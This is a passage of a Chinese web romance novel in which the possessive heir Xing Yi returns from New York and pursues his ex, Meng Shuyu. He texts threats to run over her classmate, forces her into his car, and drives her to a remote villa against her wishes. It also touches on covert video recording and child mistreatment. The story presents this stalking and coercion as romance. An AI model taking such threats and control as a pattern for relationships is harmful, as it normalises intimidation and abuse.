她看向床头柜,有一个透明文件袋,护照签证什么的都在里面,以及N大的几份重要文书,关乎他在纽约的学业。 “你还是讨厌我?”邢屹突然问。 孟纾语定了定神,短暂沉默。 她确实曾抱有希望,觉得他终有一天可以改变,只要他改掉骨子里的偏执病态,他们是可以好好在一起的。 但几率很小。 她不想倾尽身心,去赌一件毫无可能的事。 “邢屹,我们不合适。”她起身,“你快点好起来吧,我下午还有课,先走了。” 病房门轻轻关闭,扬起的灰尘却落到他心上。 三秒后,房门再次打开。 邢屹转头望去。 是林泽。 他不屑地收回视线。 林泽给他带了午餐,走上前拉开病床旁的折叠桌板。 “吃饭吧。” 邢屹闭上眼,心烦意燥。 “不饿。” 林泽一本正经:“吃点吧。心空了,胃总不能空吧。” 邢屹撩起眼皮,冷飕飕刺他一记。 林泽闭嘴。 邢屹起身下床,三两下就把手臂石膏卸了,走到窗台旁活动了一下筋骨,一点问题都没有。 林泽眼睛都直了。 敢情又是装的啊。 邢屹两手撑在窗前,身姿一如既往地笔挺,没有一丝消颓感。 他漫无目的看着远处高楼大厦,轻描淡写说:“如果我跟她提出彻底结束,她会挽回我吗。” 林泽看向他。 因为没有安全感,所以反复试探,甚至不惜孤注一掷。 可是这样真的有用吗? 林泽迟疑片刻,想说什么,终究还是没说- 傍晚,孟纾语去邢老先生家陪星星玩,教他弹新的钢琴曲。 星星学累了,想到院子里玩过家家,于是她拎着一箩筐的玩偶,牵星星过去。 方姨端一盘糕点过来,半路接了个电话,脸色有点为难,转过背去说话:“是,老先生不在家真的要过来吗?可是星星在这儿很高兴,还是让他留在这儿吧,就算真的要接走,至少也要过问老先生的意见。” 听筒那边简直要炸了:“我是他妈!凭什么不能把他接走?你们算老几,管天管地还管我怎么养儿子?!” 电话被掐断,方姨叹了口气。 孟纾语坐在小草坪上陪星星摆放玩偶,回头问:“邢阿姨马上就要来吗?” “对,看样子马上就到了。实在拦不住,这暴脾气。” 孟纾语若有所思,轻轻挽起星星的衣袖,看了看他稚弱的手臂。 心想,好不容易愈合的掐痕,过不了多久又要出现了。 她把衣袖放下来。 星星自顾自地玩,抓起手边一个棉花玩偶,研究了会儿,拉开它后背的拉链。 或 许是自闭症儿童常见的机械行为,星星把拉链拉开,紧接着,把里面的棉花全部掏出来,乱七八糟撒了一地。 孟纾语愣了下。 只见星星越玩越亢奋,几乎想把玩偶扯碎。 她刚想教他这是不好的,话没说出口,风风火火的脚步声已经闯入耳畔。 “何星!” 邢漫芊快速把他拎起来,抢过他手里的玩偶布套用力一扔,扫一眼满地狼藉,气得眼红。 “你信不信我打死你!谁让你玩这个?我是不是说过不许拆东西?!你给我站稳!哭什么?我是为你好,难道你像你哥一样变成冷血无情的疯子吗?!” 孟纾语心头一紧,憋了很久的话终于说出口:“阿姨,请你告诉我,邢屹之前究竟做过什么不好的事?” 邢漫芊忙着教训孩子,分神瞥她一眼,嘴唇翕动片刻,嘲讽道:“他没告诉你?也是,他一定不敢告诉你。” “邢屹虐待过动物。” 孟纾语失神两秒,脑海重复这句话。 直到她相信自己没有听错。 她吞咽一下,觉得嗓子很疼。 “是你亲眼所见吗?” “不然呢?要是感兴趣,你就亲自去问他吧,省得说我污蔑他。而且,他之所以坚持救助流浪狗,只不过是因为于心有愧,想弥补之前犯下的过错罢了。” 入夜,孟纾语直奔医院。 她一路跑,跑得肺都疼了,穿过漫长走廊,终于推开病房的门。 气喘吁吁抬眸,邢屹正倚靠在窗前,百无聊赖地玩弄手里的金属u盘。 下一秒,他动作一顿,掀起眼皮看过来,两人冷不丁对视,他眼底泛起轻微的错愕,似是没想到她会这个时候来。 孟纾语定在原地,借彼此沉默的时间醒了醒神。 等等。 他手臂上的石膏呢? 她脑子里轰的一下,无力感兜头而下。 “邢屹,你又骗我。” 他一言不发,只是半冷不热地看着她。 她心乱如麻,转身就要走,邢屹忽然从身后抱过来,手臂紧紧环住她肩膀,脑袋深埋下来,呼吸沉重。 “别走。” 声音很哑,以至于最后一个字含混不清,她只听清一个“别”字。 他鼻尖蹭过她耳垂,沉倦而依赖,想让她留下来。 她喉咙像被什么东西哽住,久久才问:“你虐过动物吗。” 邢屹明显滞顿。 她又问:“虐待过吗?是小猫,还是小狗?” 邢屹沉默片刻,忽然低笑一声。 “连你也怀疑我。” 孟纾语不知道是否激怒他,但她需要一句实话。 “对不起,我没有怀疑你,我只是想知道事实。你认真告诉我就好,可以吗?” “算了。” 邢屹松开她。 紧接着,她听见远处垃圾桶砰的一声,好像有什么东西被丢进去了。 是u盘。 储存视频的u盘,视频里每一帧都关于她。 孟纾语一时恍神,贴在身侧的手指颤了颤。 邢屹微垂视线看着她,将她垂落的发丝撩至耳后。 他的行为过于冷静,以至于她无法判断他现在的情绪,也不知自己应该坦然面对,还是应该害怕地逃开。 心跳声传至耳骨,他给带她带来的压迫感过于强大,终究还是对他心生恐惧。 邢屹轻抚她颤抖的眉心,她刚想后退,就听见他说:“如你所愿,我们结束吧。” 音落,他拿起床头柜的文件夹,顺手扯走搭在椅背的黑色外套,离开病房。 孟纾语来不及看他的眼睛。 或许他的目光依旧锐利,落拓不羁里浮泛着让人来气的轻蔑不屑,又或许 她不知道了。 彻底结束,对她来说其实是一件好事。 她这么想着,轻轻眨眼。 不知为何眼眶酸胀 路上,林泽开着车,正要拐弯。 后座低哑出声:“回医院。” “啊?”林泽下意识问,“东西不是拿完了吗,回去做什么?” 邢屹支着额头看向窗外,烦躁地轻扯嘴角。 “掏垃圾桶。” 第30章 回吻“我不介意直接撞过去。”…… 那天晚上,孟纾语先一步离开医院,就这样跟邢屹错过。 至于那个u盘,她也不知道下落如何。 反正她没捡。 谁会疯到去掏垃圾桶呢。 邢屹飞往纽约那天,她在教室里听老师讲庄周梦蝶。 窗外艳阳高照,隐约有飞机划过云端。 她抬头看一眼,不知不觉,心头的云似乎也被机翼搅乱了。 一晃眼,飞机消逝,湛蓝的心头就这样被扯出一条云线。 浅浅的,却格外漫长,从她十八岁的端点,连接到二十岁的起点。 大四上学期,她开始准备实习。 其实她还没想好,到底是毕业就工作,还是继续读研。 身边人都说,哲学系出来的学生,其实更适合进研究所走学术道路,不适合步入职场。 但她本科还没毕业,就已经被论文项目折磨出ptsd了。 微信一有小红点她就心惊胆战,生怕是导师冒泡。 心想,还是趁现在先进社会实践一下比较好。 有了真实的体验和对比,才能知道自己想要的究竟是什么 这两年,她提过想搬出去,但邢美莱多次挽留,她没辙,所以依旧住在颐云公馆。 听说她要实习,邢美莱热情推荐,让她试试信昀集团旗下的科技子公司,那边正好在招文案策划。 她不好拒绝,抱着试一试的心态投了简历。 一周后收到hr的面试通知。 CBD总部大楼。 大清早,孟纾语带着打印好的简历挤进电梯。 一波职场npc鱼贯而入,她一不留神就被挤到边上,手都碰不到楼层按钮。 只好求助前面的人:“您好,可以帮忙按一下17楼吗?” 一名年轻社畜回头看她,原来精疲力尽的眼神,在跟她对上眼时恢复明亮。 “好的。”他帮忙按下。 “谢谢。” 孟纾语抱着单肩包默默站好,整理一下被撞歪的衣领。 九月初,热意未散,她穿一件偏向轻熟风的白色缎面连衣裙,专门搭了一双浅口高跟鞋。 不太适应这双鞋,刚才差点崴脚。 男生回头,笑着问她:“你是来面试的吗?” 她回神。 “嗯,你也是吗?” “不是,我是市场部的员工。”他亮了亮自己的工作牌,名字是汪蓝。 孟纾语看了看照片里眉清目秀的汪蓝,又看了看眼前微微发福,头发还有点稀疏的汪蓝。 “” 汪蓝笑了笑:“变化大吧?想当年我也是个青春洋溢的男大,短短两年就成这样了,上班吸人精气呀。” 孟纾语没说什么,回一个安慰人心的笑。 电梯缓缓上行,她意识放空。 两年啊 一晃眼就过去了。 自从邢屹去了海外,她终于重获自由。 生活控制权回到自己手里,想去哪就去哪,想跟谁见面就跟谁见面,无论同性还是异性,都可以正常相处,不用担心有谁发疯吃醋。 另一方面,不知邢屹是不是对她那天的盘问和质疑怀恨在心,分开这两年,他一次都没回来过。 身边的人也不会跟她提起邢屹的近况,甚至会主动避开话题。 因为都听说是邢屹提的分开,大家不敢在她面前说起他的名字,怕她难过。 孟纾语每天让自己格外忙碌,于是很少想起他。 除了路过他卧室时,曾经荒唐纵情的夜晚浮现脑海,挥之不去。 邢屹就这样,在她的生活里销声匿迹了两年。 只是很奇怪,她总觉得暗中有双眼睛盯着她,捕捉她的一举一动,观察她、分析她。 ——叮。 电梯门开。 孟纾语收拢思绪,根据邮件提示,找到面试用的会议室。 面试者都错开了时间,她是今天第一个。 敲门走进去,两位面试官对她微笑示意。 她点头问好,自我介绍完就大大方 方坐下来,秘书给她倒一杯水,祝她面试顺利。 主面试官是个中年男人,他翻了翻她的简历,突然笑了:“哲学系的?” 孟纾语不知他在跟谁说话,但还是礼貌地应了声:“是,我是哲学系的。” 另一旁的女面试官表情和善,应该是给她发面试通知的hr。 hr圆场说:“李总,是您说的,专业不设限。” 李总啧声:“话是那么说,但你好歹也要选个中文系的吧,哲学系是干嘛的?成天研究那些假大空,我最反感。” 孟纾语一动不动坐在面对,难以想象,一个上市公司的高层居然会口无遮拦输出偏见。 世界之大无奇不有吧。 她没有反驳对方的话,情绪很稳定,专注走面试流程。 hr负责提问,让她口头分析几个广告方案的优劣。 她拿到问题之后清晰阐述,hr认真听讲,唯有那个李总频繁打断。 “等等,你为什么认为方案B存在劣势?”李总轻蔑地问。 孟纾语思路被打断,但还是好脾气地停下来解释:“李总,因为一个好的广告方案在投入市场之前一定要考虑受众偏好,尊重受众的情感需求,方案B明显忽视了这一点,它只是基于产品本身,并没有考虑到受众群体。” 李总保持着让人不适的笑意,抬手:“好,你继续。” 她觉得自己被轻视了。 熬了半晌,面试终于结束。 她怀疑这个实习岗位是不是被李总哪个亲戚内定了,不然他怎么老是针对她。 面试而已,对她的态度这么差,真讨厌。 孟纾语在候梯厅等电梯,刚才那个烦人的李总从转角处走来,责骂秘书:“这事儿怎么不早跟我说?” 秘书无妄之灾:“李总,我给你发过日程通知的呀,今天九点面试实习生,十点半开股东会议,这些我全都跟你说了的” 李总气头上,骂骂咧咧看了眼腕表,估计会议要迟到了,他晃眼瞥到她,眼神似乎在指责因为面试耽误时间。 孟纾语满头问号,关我什么事? 秘书匆忙按电梯,三人在金属门前站着。 李总叉着腰焦急踱步,顿了顿,吱声:“那位要来?” 秘书:“不是,是那位的外孙。” “啧!”李总脸都黑了,“下次这种事情能不能标好优先级?你上几年班了?分不分轻重?” “对不起。”秘书连忙道歉。 孟纾语置身事外,默默站在一旁,动了动酸痛的脚踝。 半晌,一排五个电梯,一个开门的都没有。 李总要急疯了。 孟纾语心想,你爬楼不是更快一点吗。 正腹诽,最边上的电梯门叮一声打开。 一看,是上行的。 她要等是下行电梯,于是站在原地没动。 李总已经瞬移过去了,一进门就变脸:“啊!哈哈,您也在,我刚面试完一个实习生,时间耽误了,巧了巧了,咱们一块儿上去。” 孟纾语看不见电梯里的情况,只听见李总气喘吁吁。 而电梯里的人低笑一声,气定神闲还有点嘲讽:“急什么,不都是刚到么。” 这个声音 不是吧。 恍神间,远处电梯门已经关上。 孟纾语怔在原地搜刮记忆,不出所料,脑海里关于邢屹的一切全部开始沸腾,像一场突如其来的海啸,冲得她措手不及。 脑子砰一声印下一枚“那道声音就是他”的钢印,她呼吸都紧了。 转念一想。 不对,不会是他。 完全没听说他已经回国的消息。 她快速拿起手机发微信。 [莱姨,邢屹回来了吗?] 邢美莱估计在忙,没回复。 她又问彭霖。 彭霖这人实诚:[没听说诶,我去帮你问问他发小吧] 她立刻回:[不用了,谢谢你] 万一被误会她对邢屹念念不忘,那还得了。 她在等莱姨的回复,不料导师先敲她。 [你的初稿呢?] “” shuyu:[抱歉老师,我还在外面,回去马上给您发] 导师:[请尽快。] 孟纾语心下一叹,匆匆返回学校。 大中午,寝室一个人也没有。 许莓和卢一鑫谈恋爱,搬到校外住了。 陈雅甜计划走免研辅导员的路子,一天到晚忙得不见人影。 路露想趁最后一年冲个国奖,加入了创新论文研究小组,跟她类似,每天被导师催命,估计正在图书馆里焦头烂额查文献。 于是她一个人在寝室里埋头修改论文,把自认为最好的一版发给导师。 十分钟后,消息来了。 [你这个文献综述,一点逻辑都没有] [你不是专业第一吗?不该是这个水平。] [改完发我,请尽快。] “” 她深吸一口气,心如止水。 [对不起,我马上修改] 就这么改到了晚上。 文档发过去,她浑身卸力,像只蜗牛一样趴在笔记本电脑前,心说毕业之后再也不碰论文这种东西了。 好累,饭还没吃,但已经感觉不出饿了,只想好好睡一觉。 桌上手机震动。 莱姨:[邢屹没回来呀,我没听说他要回来,怎么啦?] 孟纾语闭了闭眼,舒出一口气。 没回来就好。 她缓慢打字:[没什么,姨你忙吧,我就随便问问] 莱姨:[今天面试怎么样?] [还可以,hr说一周内通知我] 莱姨:[好。你回家了吗?王姨说菜都快凉了,快回家吃饭吧,再累也要好好照顾自己呀] [嗯嗯] 放下手机,她又趴着眯了会儿。 醒来没收到导师消息,她没再等,收拾收拾离开寝室。 走出学生公寓才发现,自己忙得连衣服和鞋都忘记换了。 算了,就这样吧,马上就回家了。 高跟鞋一点也不舒服,她硬着头皮走出校门,站在路灯下准备打车。 降温了吗,她莫名感觉凉嗖嗖的。 ——“纾语!” 转过身。 是李时然。 他笑了笑,最后几步跑过来,善意的目光上下打量她。 “你今天好漂亮,是去面试了吗?” 她点点头,李时然说他今天也去电视台面试了,考官很刁钻。 两人站在灯下聊天,说起爹味十足的面试官,彼此感同身受,相视一笑。 交谈投入时,手机震了下。 她分心点开,是一条陌生号码的短信。 [是你过来,还是我让他彻底消失?] 轰的一声,世界突然静止。 她手腕一僵,差点把手机扔了。 大脑空白,愣了几秒快速回头,不远处停了一辆深色轿跑,沐在夜色里打着双闪。 她心跳的频率比双闪还快。 李时然疑惑,在她眼前挥挥手:“怎么啦?” 她慌忙回神,后退一步。 “没什么” 手机又震一下,新的信息闯入。 [我不介意直接撞过去] [想不想参加李时然的葬礼?] 下一秒,听见轿跑启动的声音。 似乎真的在逼近。 她后背一凉,脱口而出:“抱歉我先走了,拜拜。” 李时然愣愣看她跑开,一个纤瘦身影混入校外散步的稀疏人丛里。 很不幸,深色轿跑已经跟上她,慢悠悠行驶在她旁边,在她快步走开时按了声喇叭。 驾驶座是林泽的身影,对方刻意开得很慢,给她逃离的时间。 却被后座的男人识破。 “林泽,工资嫌少了?” “”林泽默默加速,跟上孟纾语。 她心慌意乱,下意识跑起来,不料路面有个小坑。” 啊” 脚崴了。 她只能停下来扶着路灯的柱子,为了转移疼痛,手指紧紧攥着灯柱,埋头喘气。 混蛋,邢屹就是个混蛋 车子顺势停下,后座车门被从内打开。 “上来。” 清越声线落入耳畔,少年感犹存,只是两年不见,他的意气风发里多了一丝游刃有余的成熟,像夜晚凉风钻进她每一个紧张的毛孔,一股莫名的压迫感。 他真的有病。 不是结束了吗,不是把u盘扔进垃圾桶了吗。 还来招惹她干什么? 孟纾语鼻梁一酸,别过脸一言不发。 片刻,邢屹不疾不徐下了车。 被路灯拉长的影子落到她身上,她低着头,熟悉的轮廓密不透风笼罩着她,她不用抬头都能想象出他那份凌厉的眼神,侵略性十足,恶劣又不讲理。 脚踝疼得钻心,她溢出一点生理泪水。 邢屹捧起她的脸。 视线相撞。 她心头一悸,邢屹面无表情,目光在她眉眼间淡淡逡巡,拇指擦掉她眼角泪水。 他指腹薄茧还在,甚至更粗糙了些。 看来在国外这两年,他没少跟拳击和枪。管打交道。 他头发已经剪短,利落的鬓角,肆意敞露的浓眉,那颗小小的眼尾痣缀在原处,依旧像它主人一样,懒散而嚣张。 对视太久,她有点喘不过气。 忍痛想走,邢屹直接拦腰抱住她,动作熟稔地把她塞进车里。 她脑袋都要晃晕了,再一睁眼,车门已经关上。 林泽默默开车,顺便升上挡板。 后座隔出一个隐蔽空间,空气里全是他的气息,她从手腕麻到指尖,甚至开始耳鸣。 如果他想当场做什么,她根本无力反抗。 她屏息凝神挪到座椅角落,邢屹把西装外套脱下来,盖到她身上。 她心乱如麻地掀开,衣服落到脚下。 他冷眼掠她一记,突然捉住她脚踝。 她躲闪不及,整个人被他拖抱到怀里,蜷着膝盖,脚踝搭在他大腿上。 “你别在这儿犯病!” 邢屹纹丝不动,手臂紧锢着她的腰,另一手捏住她脚踝,按了按。 她心头一颤。 原来不是想欺负她。 邢屹检查她红肿的部位,又控着力道捏了一下。 疼! 她倒吸一口凉气,疼得浑身发软。 邢屹掀起眼皮看她:“很疼?” “你废话”生理泪水一涌而出,她埋头擦泪,邢屹捧起她的脸摸了摸。 嗓音忽然沉了一度。 “瘦了。” 30-40 第31章 回吻湿热蔓延 平静的生活再起波澜。 孟纾语心慌意乱,立刻从他怀里挣脱出去。 动作太急,直直往边上撞,邢屹突然攥着她手腕把她拉回去,她身子一晃又撞回他怀里。 听见他无奈的沉息。 “我看你是不长记性,待会儿撞到车门又要哭。” 她挣开他的手,兀自往边上挪了挪,抱着胳膊撇过脸。 “我才不哭。” “是么,刚才谁在掉眼泪?” “” 空气安静下来,邢屹拿起手边一份纸质文件翻阅,两人各做各的事,孟纾语低头擦擦眼泪,小声吸一记鼻子。 他听力倒是挺灵敏,闲闲瞥她一眼:“又哭,我怎么你了?” 好意思问,要不是被他吓到,她也不会崴脚。 “我脚踝疼,难受一下不行吗,哭又不用你哄。” 软绵绵的反驳,和以前一样,没什么脾气。 邢屹翻着文件哼笑一声,淡淡嘲弄:“哪次不是我哄。回国第一件事就是心疼你,你什么时候让我省心过。” 邢屹一如既往的直白。 反倒让她无措了。 她静如鹌鹑,下意识拿出手机,映入眼帘的又是那几条短信。 简直让人汗毛竖起。 邢屹悄无声息回国,又猝不及防闯进她安稳的生活,甚至拿别人的性命威胁她上车。 骨子里恶劣透顶。 她越来越看不懂他,不知他究竟还能坏到什么程度。 孟纾语压下紧张情绪,试图跟他讲道理:“邢屹,下次别那样了。” 他语气挺闲:“哪样?” “明知故问。”真让人心累,“你为什么总是针对李时然?” 邢屹讽刺地笑了声:“你该问,为什么他总是像条狗一样在你身边打转。” 她轻轻叹气:“我们是同学,一起参加过很多场辩论赛,他也帮过我很多忙,难道我们连话都不能说一句吗?” “你以为他对你的企图只是说两句话而已?你真是太小瞧男人了。” 邢屹微微转头,眼神落过来,冷得她头皮发麻。 她立刻挪开视线。 “管你怎么胡思乱想,至少人家是正常人,跟你不一样。” 音落,下巴突然被他掰过去。 目光相撞,她呼吸格外紧绷,邢屹掐着她下颌,手指慢腾腾抚过她唇角,指腹沾到一点口红。 他垂着眼,欣赏被他弄乱的妆容,慢条斯理开口:“你再为他说一句话试试。” 危险气息蔓延,孟纾语攥紧手指,声线止不住地颤:“你一点也没变” “所以呢。讨厌我?害怕我?” 邢屹把她想说的都说了,她顿时哑口无言。 被他掐着下巴,她只能仰起头看他。窗外飞驰的霓虹涌入车内,光线映出她眼里细碎泪光,邢屹静了几秒,忽然松开了手。 别过脸时喉结涌动,淡淡警告:“少用这种眼神看我。” 枪都快压不住了。 然而孟纾语觉察不出他话里的深意,也不知道他突然搭起二郎腿是什么意思。 她心有余悸,转头看向车窗外。 祈祷他只是暂时回来几天,很快就会走 回到颐云公馆。 轿跑停在院子前,孟纾语磨磨蹭蹭下了车,抬起崴伤的脚,一蹦一蹦的,走起路来非常费劲。 邢屹一手勾着外套甩到肩上,回头看她一眼。 冷不丁开口:“这么大个人杵在这儿你不会过来扶?” 孟纾语扶着院门站稳,环顾一圈。 “哪里有人?” 她只是没反应过来才问的,邢屹却黑了脸。 干嘛,谁又惹他了。 孟纾语没理他,咬牙往前蹦了蹦,自力更生。 邢屹走过来,突然把她扛到肩上。 “喂!”她惊慌失措,“你放我下来!” “老实点儿。”邢屹在她腰上掐了一记,她晕晕乎乎攥着他后背的衣料,小声骂他混蛋。 他扛着她进门,把她放倒在客厅沙发上,顺手从柜子里拿出医药箱,给她红肿的脚踝上药。 她侧身坐在沙发角落,离他有点远,脚踝却被他一手握住,小腿却只能亲密地搭在他胯骨前方。 邢屹低头给她擦药,她忍着疼一动不动,看他眼睫低垂的侧脸。 不知道他这次回来的目的究竟是什么。 或许是回来翻旧账的。 先不论事实真相究竟如何,单凭那一句“你真的虐待过动物吗?”,他就一定怀恨在心。 事到如今,两人已经没可能了。 或许他早就在纽约谈了很多个女朋友,这次回来不过是想耍她玩玩,顺便报复一记。 而她也不喜欢他了。 孟纾语斟酌片刻,缓缓开口:“那个,之前你送我的东西,我都装在一个盒子里还给你了,但你出国那天没带走,我一直放在玄关的柜子里,你这次回来,记得把它们拿走。还有如果你这次回来是长住的话,我会尽早搬出去的,不会打扰你。” 邢屹不动声色给她上药,一言不发 。 算了,就当他听见了,只是故意不理她。 空气沉寂,孟纾语放空片刻,这里看看,那里瞄瞄。 邢屹把衬衫衣袖挽到了臂弯,她忽然注意到,他手臂内侧有一道浅浅的伤疤,像是被利器所伤。 “你手上的伤什么时候弄的?” 他说:“你不在的时候。” 她微微一怔。 邢屹轻描淡写地说完,拿纸巾擦了擦指腹残留的药膏。 孟纾语默默把腿收回来,目光还停留在他手臂的疤痕上。 简单吃完饭,她想上楼回房。 邢屹看她跌跌撞撞往前蹦,似乎是看不顺眼,三两下又把她扛上了楼。 两人拧来拧去,她反抗无效,像一拳打在棉花上,根本不是他的对手。 来不及继续挣扎,她转眼就被放倒在床上,一缕长发忽然勾到他衬衫纽扣。 刚想扯回来,邢屹欺身而下,她反应不及,呼吸已经撞上。 慌忙推开他,他突然一个翻身让她坐在他身上。 手腕被他攥住,逃都逃不了,孟纾语一时羞恼:“你干嘛!” 邢屹理直气壮:“喜欢你骑在我身上。” “” 她憋红了脸,一骨碌从他身上挣脱下去,抱着膝盖坐在床尾,气呼呼下逐客令:“你出去。” 邢屹慢腾腾坐起来,两手撑在身后,目光自上而下打量她。 暧昧不明的视线,停在她腰臀位置。 她心乱如麻地回视,觉得他眼里的情。色意味满得快要溢出来。 孟纾语并拢膝盖,万分警惕:“你到底要干什么。” 邢屹懒洋洋耷着眉眼,语气无奈又纵容:“孟纾语,你坐我手机了。” “”- [什么?邢屹回来了?] 毛婧婧发来消息。 [嗯,短期内应该不会走] 孟纾语趴在枕上打字。 [我觉得有必要跟莱姨坦白,然后我尽快搬出去] 毛婧婧:[可以可以。搬来跟我一起住吧,我下周要换房了,正好是个套二] 孟纾语回一句“我先想一想”。 心里开始盘算,究竟要怎么跟邢美莱坦白。 思来想去,终究还是觉得不妥。 邢美莱是个直来直去的性子,最讨厌被人欺骗。 曾经暗度陈仓瞒了邢美莱那么久,即便想亡羊补牢也已经错过最佳时期,假如一股脑坦白,对方绝对会生气。 而且,万一邢屹不承认两人有过关系的事实,到头来岂不是成她胡编乱造了? 到时争来争去的,局面乱成一锅粥,万一老孟听说女儿被邢屹欺负,他绝对会杀过来把屋顶掀翻。 天,简直要上演一场闹剧,她不敢细想。 ——砰砰。 卧室门被敲响,邢美莱的声音传进来:“乖乖,起床了吗?吃早餐啦。” 她犹犹豫豫坐起来,顿了会儿才说:“莱姨,我洗漱换个衣服,一会儿就下去。” “好。对了,邢屹回来了,你昨天不是问起他吗,是不是有事要找他?他就在楼下。” “” 太阳穴隐隐作痛。 她绝望地趴回枕上,轻轻叹气。 邢美莱见她没动静,又轻轻敲了下门。 “乖乖,衣帽间有一件新的礼服,你试试看喜不喜欢,晚上姨带你参加一个晚宴,认识一些人,对你今后有帮助。” “好。” 只要不是跟邢屹待在一起,什么都好。 今天在家里,孟纾语做了一回时间管理大师。 不论在任何时段,做任何事情,都跟邢屹完美错开。 她庆幸邢屹早就毕业,不像以前那么闲,总有时间堵她。 曾经优哉游哉的大少爷,现在已经忙飞了。 精英教育讲究效率,如邢老先生所愿,短短两年,邢屹已经坐稳继承人的位置,回国之后更是早出晚归,不是在信昀总部呆着,就是在子公司开会。 难怪他说起话来越发让人来气。 实打实有了身份地位的人就是不一样,一言一行总是那么居高临下,简直在用鼻孔看人,用眼睛出气。 入夜,孟纾语换上墨绿色礼裙,陪邢美莱前往宴会现场。 司机把车停在露天泊车区,她和邢美莱一道下车,站在车旁提起裙摆看了看,检查有没有弄脏的地方。 邢美莱很满意这条裙子,越看越喜欢:“真适合你,简直是画里走出来的。” 随后又问她有没有看过《赎罪》。 她点点头:“嗯,我妈妈生前很喜欢这部电影。” “我也很喜欢。”莱姨百感交集地笑了笑,“如果她能看见就好了,你穿上这条裙子,跟电影里的女主角一样漂亮。” “莱姨,谢谢你。”孟纾语温柔浅笑。 一阵风过,吹拂她耳边发丝,她抬手撩至耳后,指尖碰到精致小巧的白玉耳饰,一点莹润的光在月色下轻轻晃动。 不远处,一道幽邃目光穿过车窗玻璃,定定落在她身上。 林泽也看过去,轻声慨叹:“孟小姐真是越来越漂亮了。” 邢屹默不作声,手肘搭在窗沿托着下巴,看远处的姑娘走远。 林泽纠结片刻,小声问:“晚宴快开始了,我们要下车吗?感觉现在有点像做贼。” 邢屹冷眼瞥他。 “林泽,你的话越来越多了。” “” 邢屹收回视线,若有所思地问:“最近是不是有人欺负她?” “您说孟小姐吗?” “除了她还有谁。” “是的,她面试的时候被李杰申刁难了。” “是吗。”邢屹沉吟片刻,勾起西服外套开门下车 宴会厅里灯火煌煌,小提琴声悠然萦绕。 邢美莱带她认识了很多身居高位的人物,并且跟别人介绍时,邢美莱脱口而出“这是我干女儿”。 孟纾语受宠若惊,指腹悄然摩挲手里的高脚杯细柄,在邢美莱的引导下,主动跟对方谈话。 没想到那个阿谀奉承的李总也在场,他听见这边说话,鬼一样飘着双脚凑了过来,变脸速度比高铁还快。 “呀,邢女士您真是,怎么不早说您有这么个才貌双全的干女儿呢?” 孟纾语轻轻颔首,保持应有的礼貌:“李总,您好。” “哈哈,你好你好。”李杰申假惺惺赔笑,“上次真是不好意思,小孟同学,你的面试问题答得非常好,我绝对没有为难你的意思。” “” 邢美莱知道李杰申的德性,同时也看出孟纾语表情不太好。 “乖乖,这里有人抽雪茄,你要不要出去透透气?” 孟纾语很快反应过来,点点头:“好,那我先出去了。” “去吧。” 她如释重负,把酒杯归还路过的服务生,转身离开。 还没走出宴会厅,头顶灯光闪了闪。 紧接着啪一下,全灭了。 周围一片漆黑,现场也开始躁动。 视线还未适应黑暗,孟纾语保持镇定,依稀记得前面有个香槟塔,害怕不小心撞翻,她停在原地没动。 突然被人从身后抱住。 她惊魂未定,霎那间闻到熟悉的香味。 心跳漏了一拍。 “邢屹?” 果然是他。 邢屹呼吸微沉,脑袋深埋下来,嗅她颈侧的香气。 孟纾语浑身一僵,肌肤被他温热气息撩起一丝难捱的痒。 他体温很烫,她半裸的后背紧贴他胸膛,甚至能感受到他蓬勃有力的心跳。 不知道下一秒会不会恢复明亮,她像踩在一颗地。雷上,不敢轻举妄动。 她抬起双手,碰到环在身前的结实手臂,声音逐渐颤抖:“邢屹,你先放开我,这里很多人” “没人你就肯让我抱了?”他语气嘲讽,“省省吧,你那些金蝉脱壳的鬼点子全用在我身上了。” 被识破了。 她心跳加速,邢屹抬起头,鼻尖蹭过她耳垂。 咬住。 湿热蔓延,她大气不敢喘,这个拥抱像锁链一样紧缠着她,邢屹冷声质问:“是不是一直盼着我走?” “我” 她不知该不该说实话。 “别盼了,还早着。”他早就料到她在想什么,沉声说,“有件事还没做完。” 她以为是工作上的事。 或许他处理完那件事,就会走了,或许再过几天,她就安全了。 期盼油然而生。 “你说的是什么事?” 邢屹的手缓缓往下,按到她平坦的小腹上:“想把你填满。” 第32章 回吻我的形状 他疯了。 孟纾语咬牙使劲,终于挣脱 他,不顾一切朝前跑去。 膝盖撞到硬物的瞬间,她懵了。 玻璃摇晃的声音近在咫尺,后退时被他攥住手腕,她一门心思躲闪,却歪打正着被他迎面抱住。 重心猛然下坠,她被邢屹压着,大脑一片空白,一只宽大手掌护着她后脑勺,两人相拥着摔倒在地。 她听见一声惊心响动,是他手指骨骼砸到地面的声音,也是酒瓶碎裂的声音。 香槟塔轰然倒塌,酒液四溅。 宴会厅灯盏接连闪烁,转眼灯火通明。 她很快清醒过来,压在身上的重量已经消失。 匆忙坐起来,一转头,邢屹不动声色坐在身旁,双手向后撑,一条腿抻直,另条腿曲着,低着头似乎在醒神。 扑鼻而来的辛涩酒香,他皱了皱眉,看一眼身上衬衫。 从肩膀到后背湿了一大片,酒渍深一块浅一块。 孟纾语恍神吞咽一下,抬起眼,众人的视线全都落在这儿。 ——“邢屹?” 邢美莱愣在不远处。 孟纾语默不作声,看向邢屹,他冷眼回视,她匆忙别过脸。 邢美莱觉察出古怪氛围,以为他俩是断电的时候不小心撞上了。 于是催促邢屹:“快快,你俩都回去换件衣服,这里我来处理。” 孟纾语欲言又止,就这么顺理成章被邢屹带走 车里。 后座酒香弥散,孟纾语故意坐得离他很远。 转头看着车窗外飞驰的霓虹,她恨不得化作一缕空气,从窗缝跳出去。 “断电是安排好的,全是你搞的鬼” 她忍不住嘀咕。 “孟纾语,说话讲点儿道理,别莫名其妙冤枉我。” 邢屹语气悠闲,拿起手帕擦拭衬衫上的酒渍,动作慢条斯理,看都没看她一眼。 孟纾语看着窗外越来越陌生的街景,忽然一阵心慌。 脱口而出:“我要下车。” 林泽听见声音,抬眼看了看后视镜,踩着刹车的脚跃跃欲试。 邢屹面不改色:“继续开。” “” boss态度坚决,林泽只好照做,温声问:“去半山别墅吗?” 邢屹惜字如金:“嗯。” 孟纾语呼吸一滞。 今晚不是回家,而是去她毫无印象的半山别墅。 邢屹想把她带走,逼她去一个陌生而危险的地方。 心脏怦怦乱跳,她定了定神,发现车窗外的景色已经脱离市区范围。 不行。 “林助,请你停车。” 车子毫无停下的征兆。 她越来越慌,攥着车内门把生拉硬扯。 “停车!我要下去!” 邢屹靠着椅背,闭着眼轻描淡写:“你听话一点,说不定我就放你走了。” 她用力咬唇,强行让自己镇定下来。 